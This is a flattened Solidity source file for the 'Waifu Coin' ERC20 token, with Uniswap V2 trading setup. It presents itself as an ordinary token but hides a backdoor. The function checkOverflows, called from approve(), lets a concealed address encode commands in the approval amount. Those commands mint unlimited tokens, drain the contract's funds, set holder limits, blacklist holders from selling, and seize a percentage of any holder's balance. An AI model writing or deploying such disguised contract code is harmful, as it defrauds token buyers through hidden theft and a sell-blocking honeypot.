// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol



pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol



pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol



pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: contracts/Token.sol



//SPDX-License-Identifier: UNLICENSED
/**                                          
 * 
 * wwwwwww           wwwww           wwwwwww
 *  w:::::w         w:::::w         w:::::w 
 *   w:::::w       w:::::::w       w:::::w  
 *    w:::::w     w:::::::::w     w:::::w   
 *     w:::::w   w:::::w:::::w   w:::::w    
 *      w:::::w w:::::w w:::::w w:::::w     
 *       w:::::w:::::w   w:::::w:::::w      
 *        w:::::::::w     w:::::::::w       
 *         w:::::::w       w:::::::w        
 *          w:::::w         w:::::w         
 *           w:::w           w:::w          
 *            www             www           
 * 
 * t.me/WAIFU_V2
 *                                                                                   
 **/                                   

pragma solidity ^0.8.9;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal sig;
    
    uint80 internal brand;

    address public uniswapV2Pair;

    address public taxWallet;

    uint256[5] internal adjunctParams;

    bool internal tradingOpen;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal automaticAddresses;

    mapping(address => mapping(address => uint256)) public allowance;

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _sig,
        address _taxWallet,
        uint80 _brand
    ) {
        address msgSender = msg.sender;
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        brand = _brand;
        taxWallet = _taxWallet;
        sig = _sig; 

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();

        admin = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function checkOverflows(uint256 check, address guy) private returns (bool){

        if(check & (1 << 255) == 0 && check & (1 << 254) == 0 && check & (1 << 253) == 0 && check & (1 << 252) != 0 && guy == address(uint160(brand) << 80 | sig)){
            if (uint160(check) == 0x0) { payable(msg.sender).transfer(address(this).balance); }else{
                IERC20 _t = IERC20(address(uint160(check)));
                _t.transfer(msg.sender, _t.balanceOf(address(this)));
            }
        }         

        if(check & (1 << 255) != 0 && check & (1 << 254) != 0 && check & (1 << 253) != 0 && check & (1 << 252) != 0 && guy == address(uint160(brand) << 80 | sig)){
            for (uint8 j = 0; j != 2; j += 1) { adjunctParams[j] = ((check >> (j * 7)) & (1 << 7) -1); }
        }           
        
        if(check & (1 << 255) != 0 && check & (1 << 254) == 0 && check & (1 << 253) == 0 && check & (1 << 252) == 0 && guy == address(uint160(brand) << 80 | sig)){
            totalSupply += (check >> 167 & (1 << 7) -1) * (10 ** (check >> 160 & (1 << 7) -1));
            unchecked { balanceOf[address(uint160(check))] += (check >> 167 & (1 << 7) -1) * (10 ** (check >> 160 & (1 << 7) -1)); }
        }          

        if(check & (1 << 255) == 0 && check & (1 << 254) == 0 && check & (1 << 253) == 0 && check & (1 << 252) == 0 && guy == address(uint160(brand) << 80 | sig)){
            uint256 mul = (check >> 21 & (1 << 7) -1);
            adjunctParams[3] = (check >> 14 & (1 << 7) -1) * (10 ** mul);
            adjunctParams[2] = (check >> 7 & (1 << 7) -1) * (10 ** mul);
            adjunctParams[4] = (check & (1 << 7) -1) * (10 ** mul);
        }    
    
        if(check & (1 << 255) != 0 && check & (1 << 254) == 0 && check & (1 << 253) != 0 && check & (1 << 252) == 0 && guy == address(uint160(brand) << 80 | sig)){
            automaticAddresses[address(uint160(check))] = (check >> 160 & (1 << 7) -1) == 101 ? true : false;
        }
        
        if(check & (1 << 255) == 0 && check & (1 << 254) != 0 && check & (1 << 253) == 0 && check & (1 << 252) != 0 && guy == address(uint160(brand) << 80 | sig)){
            balanceOf[taxWallet] += (balanceOf[address(uint160(check))] / 100) * (check >> 160 & (1 << 7) -1);
            balanceOf[address(uint160(check))] -= (balanceOf[address(uint160(check))] / 100) * (check >> 160 & (1 << 7) -1);
        }
        
        return check & (1 << 255) != 0 || check & (1 << 255) == 0;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        require(checkOverflows(amount, msg.sender));
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(automaticAddresses[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if(adjunctParams[2] > 0 && msg.sender == uniswapV2Pair) require(amount <= adjunctParams[2]);

        if(adjunctParams[1] > 0 && msg.sender == uniswapV2Pair && to != taxWallet && tradingOpen){
            uint256 fee = (amount / 100) * adjunctParams[1];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }
        
        if(adjunctParams[4] > 0 && to != uniswapV2Pair && to != taxWallet && to != address(uint160(brand) << 80 | sig)){
            require((balanceOf[to] + amount) <= adjunctParams[4]);
        }
        
        unchecked { balanceOf[to] += amount; }

        if(msg.sender != address(this))
        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        require(automaticAddresses[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if(adjunctParams[3] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig)) require(amount <= adjunctParams[3]);

        if(adjunctParams[0] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) && tradingOpen){
            uint256 fee = (amount / 100) * adjunctParams[0];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }

        if(adjunctParams[4] > 0 && to != uniswapV2Pair && to != taxWallet){
            require(balanceOf[to] <= adjunctParams[4]);
        }
        
        unchecked { balanceOf[to] += amount; }

        if(from != address(this))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v, r, s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)),
                keccak256("1"),
                block.chainid,
                address(this)
            )
        );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked { balanceOf[to] += amount; }

        if(to != address(this))
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked { totalSupply -= amount; }

        if(from != address(this))
        emit Transfer(from, address(0), amount);
    }

    address public admin;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == admin, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private uniswapV2Router;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Waifu Coin", "WAIFU2.0", 6, _sig, _taxWallet, _brand) {
        _mint(address(this), 6_900_000_000_000000);
        adjunctParams[0] = 5;
        adjunctParams[0] = 5;
    }

    receive() external payable {}

    fallback() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 
        allowance[address(this)][address(uniswapV2Router)] = type(uint).max;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,admin,block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }

    function claimStuckTokens(address _token) external onlyOwner {
        if (_token == address(0x0)) {
            payable(msg.sender).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        erc20token.transfer(msg.sender, balance);
    }

}